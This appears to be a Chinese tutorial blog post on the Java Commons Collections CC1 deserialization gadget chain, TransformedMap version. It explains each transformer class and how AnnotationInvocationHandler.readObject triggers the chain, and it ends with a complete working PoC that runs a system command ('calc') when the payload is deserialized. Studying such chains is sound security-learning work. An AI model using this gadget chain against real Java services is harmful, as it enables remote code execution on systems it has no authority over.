Java安全 反序列化(3) CC1链-TransformedMap版

Java安全 反序列化(3) CC1链-TransformedMap版

本文尝试从CC1的挖掘思路出发,理解CC1的实现原理

文章目录

  • Java安全 反序列化(3) CC1链-TransformedMap版
  • 配置jdk版本和源代码配置
  • 前记 为什么可以利用
  • 一.CC链中的命令执行
    • 我们可以尝试一下通过InvokerTransformer.transform()执行命令
    • 在CC链接口Transformer实现类中,我们重点关注几个实现类
      • 1.ConstantTransformer实现类
      • 2.InvokeTransformer实现类
      • 3.ChainedTransformer实现类(链式,有想法吗)
    • 现在我们可以通过链式+反射调用任意命令
  • 二. CC1挖掘原理分析&Poc编写
  • 三.CC1完整利用链Poc
  • 反思总结

Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。

Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。

实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤

默认情况看不到AnnotationInvocationHandler类的源码,是因为jdk中没有sun包下的源码,需要手动下载该版本的openjdk源码

jdk版本及sun源码下载链接:https://pan.baidu.com/s/1JWjHsQpyhFt_KpPnt4aiwg?pwd=8888
提取码:8888

配置jdk版本和源代码配置

1.解压 jdk1.8.0_65.zip

2.解压jdk8-sun-source.zip 中class.rar中的sun源码

image-20240321192340776

3.替换 jdk1.8.0_65/src/中的sun文件夹

4.idea中添加源代码

image-20240321192614244

可以看到rt.jar包中任意源代码(而不是.class反编译文件),就是成功了

image-20240321192756947

访问 https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

⾸先在设置在pom.xml环境

  <dependencies><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency></dependencies>

安装commons-collections成功后,环境配置结束

现在正式学习Java反序列化 CC链

前记 为什么可以利用

Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons Collections链(简称cc链)。

一.CC链中的命令执行

我们的最终的目的是利用CC链来进行RCE

一般执行命令 Runtime.getRuntime().exec("calc");

如此简单简洁,但是为什么我们不直接利用了?

image-20240321141339891

因为我们最终要通过反序类化执行任意命令 但是Runtime没有实现Serializable接口,不可以被序列化

image-20240321141444044

这个过程中不可序列化

所以我们可以通过反射调用来进行反序列化

image-20240321141640022

Class实现了Serialiable接口 可以实现序列化

 Class Runtime = Class.forName("java.lang.Runtime");Method getRuntime = Runtime.getMethod("getRuntime");Runtime runtime =(Runtime) getRuntime.invoke(null, null);Method exec = Runtime.getMethod("exec", String.class);exec.invoke(runtime, "calc");

image-20240321142217189可以通过反射执行任意命令

在上一篇文章中我们探究了 InvokerTransformer().transform()方法可以通过类似反射调用(invoke)任意函数

image-20240321142507883

我们可以尝试一下通过InvokerTransformer.transform()执行命令

InvokeTransformer构造函数接受三个参数

image-20240321142802109

  1. 1.String 函数名 exec
  2. Class[] 参数类型 String.class
  3. Object[] 具体参数值 calc

image-20240321142932400

接受对象,对对象执行函数

        Runtime r=Runtime.getRuntime();new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

仍然可以执行系统命令

image-20240321143305158

在CC链接口Transformer实现类中,我们重点关注几个实现类

image-20240321143855730

1.ConstantTransformer实现类

image-20240321144237874

注意,和transform传入的Object input的对象无关,仅仅返回构造函数Object constantToReturn 的对象(这一点很重要,后面会应用)

2.InvokeTransformer实现类

前面探究过,通过反射调用任意的函数

相当于最后加了一个invoke方法调用

3.ChainedTransformer实现类(链式,有想法吗)

上篇文章具体调试过跟踪过ChainedTransformer的实现

image-20240321145937494

构造函数接受Transformer[] 数组进行赋值

image-20240321144628258

我们可以简单理解为一个**迭代器 **的 链式的调用

后一个对象.transform(前一个对象的.transform方法返回的对象)

通过这个ChainTransformer实现类可以实现(一节更比三节强的观念)

通过ChainTransformer.transform可以把传入Transformer[]一一调用transform方法,而且实现了 对象的传递

现在我们可以通过链式+反射调用任意命令

        Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);chainedTransformer.transform("aaa");

注意一点chainedTransformer.transform("aaa");aaa可以替换为任意值

先调用 ConstantTransformer.transform方法覆盖了传入的"aaa"返回Runtime.class对象(和transform传入的Object input的对象无关,仅仅返回构造函数Object constantToReturn 的对象,回顾一下前面)

二. CC1挖掘原理分析&Poc编写

现在我们开始分析一下CC1是如何被发现和利用的,重点在于学习前人发现的思路

时刻记住我们的目的

这里我们先利用 单个InvokerTransformer

 Runtime r=Runtime.getRuntime();InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

走一遍流程

我们要利用transform执行任意命令

可以查看什么地方应用了transform (这里偏向测试map)

因为Map作为键值对的映射关系可以包含任意类

image-20240321172831230

可以利用的有DefaultedMap,LazyMap,TransformedMap

这里我们探究一下TransformedMap,其他下篇文章写

在TransformedMap中的protected方法(代表仅能被自身调用)checkSetValue传入

image-20240321173045476

我们希望valueTransformer是Invocationformer对象 ,传入的Object value是Runtime对象

image-20240321173524676

构造函数进行传值,但是是protected仅能被自身调用,向上寻找

image-20240321173648507

发现decorate的public 静态方法 可以返回 调用 构造方法

参数接受(Map map, Transformer keyTransformer, Transformer valueTransformer)

这里和keyTransformer 关系不大,可以设为空

        Runtime r=Runtime.getRuntime();InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashmap=new HashMap<>();hashmap.put("key","value");TransformedMap.decorate(hashmap,null,invokerTransformer);

image-20240321194103688

等价于InvokerTransformer.transform()

现在控制checkSetValue(Object value)传入的值和调用checkSetValue(Object value)

查找用法

image-20240321174418115

可以发现在AbstractInput中的镶嵌类MapEntry调用了checkSetValue方法

而AbstractInput恰好又是TransformedMap的父类

image-20240321174636544

这里MapEntry类继承自AbstractMapEntryDecorator而AbstractMapEntryDecorator实现了Map.Entry的接口

image-20240321174928785

我们可以通过遍历TransformedMap的Entry实现调用setValue方法

原因:因为如果我们遍历TransformedMap的Entry调用setValue,子类继承了父类的public方法(setValue),而且实现了对Map.Entry方法的重写,可以实现调用setValue方法

调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法,便会触发 checkSetValue方法,从而触发cc链1

因此编写payload

        Runtime r=Runtime.getRuntime();InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashmap=new HashMap<>();hashmap.put("key","value");Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);}

传入的值是Runtime对象 等价实现InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transformer(Runtime.class)

但是我们如何实现在readObject的时候调用setValue方法

经过寻找我们发现 AnnotationInvocationHandler

image-20240321193210784

1.重写了readobject

2.调用了memberValue.setValue()

而恰好我们可以控制memberValues的值

image-20240321193501905

这不是妥妥的入口类吗

这里接受两个参数Class<? extends Annotation> type, Map<String, Object> memberValues

Annotation是Java的注解,比如@Override重写等

但是我们只能 用反射操作入口类

image-20240321193659400

因为这里没有修饰词,默认是default 只能通过在包内访问

分析一下readobject类

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}
}

想要走到memberValue.setValue需要走过两个判断

image-20240321194318106

在 遍历memberValues.entrySet()的过程中

 String name = memberValue.getKey();//获取Map键值Class<?> memberType = memberTypes.get(name);//获取Java注解的类型if (memberType != null) {  Object value = memberValue.getValue();

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

获取了memeberValue键的值作为name,在注解中寻找等于注解的name的值

判断不为空即可

我们需要获取注解中存在键值对的注解,这里我们可以用 @Target

image-20240321201203011

@Target 存在value的键 为了memberType 保证不为空,所以将hashmap.put("value","value");设为value

保证Class<?> memberType = memberTypes.get(name);//获取Java注解的类型可以保证memberTypes.get(name)可以获取到值

第二个if判断一定是可以通过的 member一定是存在的

image-20240321202019584

这里setValue的值不可控,但是对我们利用完全不影响

虽然这里的setValue方法带一个初始值,但我们ConstantTransformer类的transform方法,不受参数影响,构造方法传入什么,就原封不动返回什么

第三次重复了

和传入setValue的值没有关系

我们将InvokerTransformer替换为ChainTransformer

尝试通过反射建构AnnotationInvocationHandler 类

image-20240321203304350

接受Class<? extends Annotation> type, Map<String, Object> memberValues

通过反射创建AnnotationInvocationHandler实例

       Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);annotationDeclaredConstructor.setAccessible(true);Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);

对annotationInstantce进行序列化后反序列化后执行命令

image-20240321204608342

成功手写CC1链的Poc

三.CC1完整利用链Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.instrument.TransformerManager;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {//Runtime.getRuntime().exec("calc");
//        Class Runtime = Class.forName("java.lang.Runtime");
//        Method getRuntime = Runtime.getMethod("getRuntime");
//        Runtime runtime =(Runtime) getRuntime.invoke(null, null);
//        Method exec = Runtime.getMethod("exec", String.class);
//        exec.invoke(runtime, "calc");
//        Runtime r=Runtime.getRuntime();
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//        ChainedTransformer chainedTransformer =(ChainedTransformer) chainedTransformer.transform("aaa");
//        Runtime r=Runtime.getRuntime();
//        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashmap=new HashMap<>();hashmap.put("value","value");Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);annotationDeclaredConstructor.setAccessible(true);Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);serialize(annotationInstantce);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(newFileInputStream("ser.bin"));ois.readObject();ois.close();}}

以后遇到其他类似题,就可以参考Poc了

反思总结

核心概念

  1. 入口类必须重写readObject
  2. 通过不同类的同名方法进行跳转连接

下一篇我们从LazyMap出发实现RCE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/761940.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ssm项目(tomcat项目),定时任务(每天运行一次)相同时间多次重复运行job 的bug

目录标题 一、原因 一、原因 debug本地调试没有出现定时任务多次运行的bug&#xff0c;上传到服务器就出现多次运行的bug。&#xff08;war的方式部署到tomcat&#xff09; 一开始我以为是代码原因&#xff0c;或者是linux和win环境不同运行定时任务的方式不一样。 但是自己…

专业135+总分400+重庆邮电大学801信号与系统考研经验重邮电子信息与通信工程,真题,大纲,参考书。

今年分数出来还是比较满意&#xff0c;专业801信号与系统135&#xff0c;总分400&#xff0c;没想到自己也可以考出400以上的分数&#xff0c;一年的努力付出都是值得的&#xff0c;总结一下自己的复习心得&#xff0c;希望对大家复习有所帮助。专业课&#xff1a;&#xff08;…

获取KEGG通路的基因列表 做单细胞GSEA、GSVA分析

使用KEGG通路的基因列表进行单细胞GSEA GSVA分析的过程&#xff0c;我们需要遵循以下步骤&#xff1a; 获取KEGG通路的基因列表&#xff1a;这通常涉及使用专门的R包&#xff0c;如KEGGREST或biomaRt&#xff0c;来查询KEGG数据库并检索特定通路的基因列表。 准备单细胞表达数…

申请Github Education获取免费Copilot权限(2024.3.18实测成功)

起因&#xff1a;旧帐户Copilot权限被封 我已经离开Github Copilot就无法独自耐着性子写代码了&#xff08;懒惰AI成瘾性&#xff09;&#xff0c;这两天Github Copilot不知道为什么在大规模封号&#xff0c;我不幸也被封号了&#xff08;禁用掉了Github Copilot权限&#xff…

Python:柱状-折线图

写论文&#xff0c;需要画数据分析图&#xff1a; 用柱状图描述算法执行时间用折线图描述性能改进 示例代码&#xff1a; import numpy as np import matplotlib.pyplot as plt from matplotlib.pyplot import MultipleLocatorSecurity ["128", "192",…

Linux第82步_“gpio子系统”下的使用KEY开关灯

使用新字符设备驱动的一般模板和“gpio子系统”&#xff0c;以及设备树&#xff0c;驱动KEY和LED。 1、在stm32mp157d-atk.dts文件中添加“gpio_led”和“key0”节点 打开虚拟机上“VSCode”&#xff0c;点击“文件”&#xff0c;点击“打开文件夹”&#xff0c;点击“zgq”&…

HTTPS 协议原理

目录 HTTPS VS HTTP HTTPS是什么 概念准备 常见的加密方式 对称加密 一个简单的对称加密例子 非对称加密 数据摘要&&数据指纹 数字签名 HTTPS 的工作过程探究 方案1-只使用对称加密 方案2-只使用非对称加密 方案3-双方都使用非对称加密 方案4-非对称加密…

Cell发表的单细胞整合方法:LIGER,很好用!

之前&#xff0c;我们已经介绍过其他的整合方法&#xff1a; harmony整合单细胞数据-去除批次效应 Seurat一键完成五种数据整合&#xff1a;harmony&#xff0c;CCA&#xff0c;RPCA,FastMNN,scVI&#xff0c;代码分享 今天来看看Cell发表的LIGER 介绍 LIGER&#xff08;Li…

C++语言学习(二)—— C++语言的基本知识

目录 一、面向对象的三个核心概念 二、C语言中的I/O口 三、C语言中的数据类型​​​​​​​ 3.1 逻辑类型 3.2 引用类型 3.2.1 引用作为函数参数 3.2.2 引用作为函数返回值 3.2.3 引用作为类成员 3.3 类类型 四、 C语言中的内联函数 五、 函数重载 六、 带默认形参…

docker 容器挂掉,无法exec 进入bash 怎么修改容器里的文件

在使用tdengine 数据库时出现了 TDengine.Driver.TDengineError:“code:[0x334],error:Out of dnodes” 查找文档发现需要修改一个配置文件 。 /etc/taos/taos.cfg 中的 supportVnodes 参数 于是修改 保存。然后&#xff0c;运行出错。 03/21 06:56:27.986498 00000064 …

IDEA通过内网穿透实现固定公网地址远程SSH连接本地Linux服务器

文章目录 1. 检查Linux SSH服务2. 本地连接测试3. Linux 安装Cpolar4. 创建远程连接公网地址5. 公网远程连接测试6. 固定连接公网地址7. 固定地址连接测试 本文主要介绍如何在IDEA中设置远程连接服务器开发环境&#xff0c;并结合Cpolar内网穿透工具实现无公网远程连接&#xf…

[音视频学习笔记]六、自制音视频播放器Part1 -新版本ffmpeg,Qt +VS2022,都什么年代了还在写传统播放器?

前言 参考了雷神的自制播放器项目&#xff0c;100行代码实现最简单的基于FFMPEGSDL的视频播放器&#xff08;SDL1.x&#xff09; 不过老版本的代码参考意义不大了&#xff0c;我现在准备使用Qt VS2022 FFmpeg59重写这部分代码&#xff0c;具体的代码仓库如下&#xff1a; …

基于python+vue渔船出海及海货统计系统的设计与实现flask-django-php-nodejs

当今社会已经步入了科学技术进步和经济社会快速发展的新时期&#xff0c;国际信息和学术交流也不断加强&#xff0c;计算机技术对经济社会发展和人民生活改善的影响也日益突出&#xff0c;人类的生存和思考方式也产生了变化。传统渔船出海及海货统计采取了人工的管理方法&#…

抖音视频爬虫下载软件|可导出视频分享链接|视频批量采集工具

无水印视频关键词批量下载工具操作指南 我们自主开发了一款便捷的音视频批量下载工具&#xff0c;不仅支持单个视频链接提取&#xff0c;还可通过关键词搜索实现批量采集和选择性下载&#xff0c;让您轻松获取所需视频内容。 操作说明&#xff1a; 关键词批量采集视频 进入软件…

AI绘画可以稳定生成中文了:白嫖阿里云部署AnyText

长久以来&#xff0c;在AI绘画中书写文字一直是个难题。即使到了SDXL时代&#xff0c;我们也只能输出英文&#xff0c;而且还经常出现漏掉字母的情况。现在阿里达摩院搞出了一个解决方案&#xff0c;可以在Stable Diffusion生成的作品中稳定输出中、英、日、韩等多种文字&#…

python共享单车信息系统的设计与实现flask-django-php-nodejs

课题主要分为二大模块&#xff1a;即管理员模块和用户模块&#xff0c;主要功能包括&#xff1a;用户、区域、共享单车、单车租赁、租赁归还、报修信息、检修信息等&#xff1b; 语言&#xff1a;Python 框架&#xff1a;django/flask 软件版本&#xff1a;python3.7.7 数据库…

【Unity】从0到1的横版2d制作笔记-DAY3

确定碰撞体积 选择rigidbody2d&#xff0c;创建player重力 创建player碰撞体积 创建瓦片地图碰撞体积 使平台变成一个整体 ​​​​​ 设置Body Type为Static&#xff08;避免平台也因为重力影响下落&#xff09; 回到Player&#xff0c;在Rigidbody2D中设置为冻结旋转 Player设…

python家政服务系统flask-django-php-nodejs

相比于以前的传统手工管理方式&#xff0c;智能化的管理方式可以大幅降低家政公司的运营人员成本&#xff0c;实现了家政服务的标准化、制度化、程序化的管理&#xff0c;有效地防止了家政服务的随意管理&#xff0c;提高了信息的处理速度和精确度&#xff0c;能够及时、准确地…

解决mini2440 LCD(型号:P43)驱动的背光失效问题

目录 概述 1 LCD(P43)背光问题 1 移植LCD驱动程序 1.1 编写驱动代码 1.2 编写LCD的配置参数 1.3 配置LCD驱动至内核 2 移植触摸功能程序 2.1 移植ADC驱动程序 2.1.1 编写ADC驱动代码 2.1.2 编写配置文件 2.2 移植P43的一线触摸程序 2.2.1 编写代码 2.2.2 编写配置链…

-bash: ./1.sh: /bin/bash^M: bad interpreter: No such file or directory解决方法

1、执行脚本 ./1.sh时报如下错误 -bash: ./1.sh: /bin/bash^M: bad interpreter: No such file or directory 2、在Windows编辑的脚本导入Linux系统中&#xff0c;执行报错问题 yum install -y dos2unix 3、或者本地安装 rpm -ivh /mnt/Packages/dos...... 4、然…